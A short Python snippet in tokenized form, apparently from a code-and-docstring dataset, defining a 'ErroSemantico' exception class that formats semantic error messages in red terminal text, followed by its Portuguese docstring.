class ErroSemantico(Error): <NEW_LINE> <INDENT> def __init__(self, msg): <NEW_LINE> <INDENT> self.msg = msg <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> vermelho = '\033[31m' <NEW_LINE> original = '\033[0;0m' <NEW_LINE> erro = vermelho + "Erro Semantico: " <NEW_LINE> erro += original <NEW_LINE> erro += '\n' <NEW_LINE> erro += self.msg <NEW_LINE> return erro
Exceções levantadas por error semanticos tpl -- tupla com linha e coluna onde ocorreu o erro msg -- explicação do erro
62599088aad79263cf430377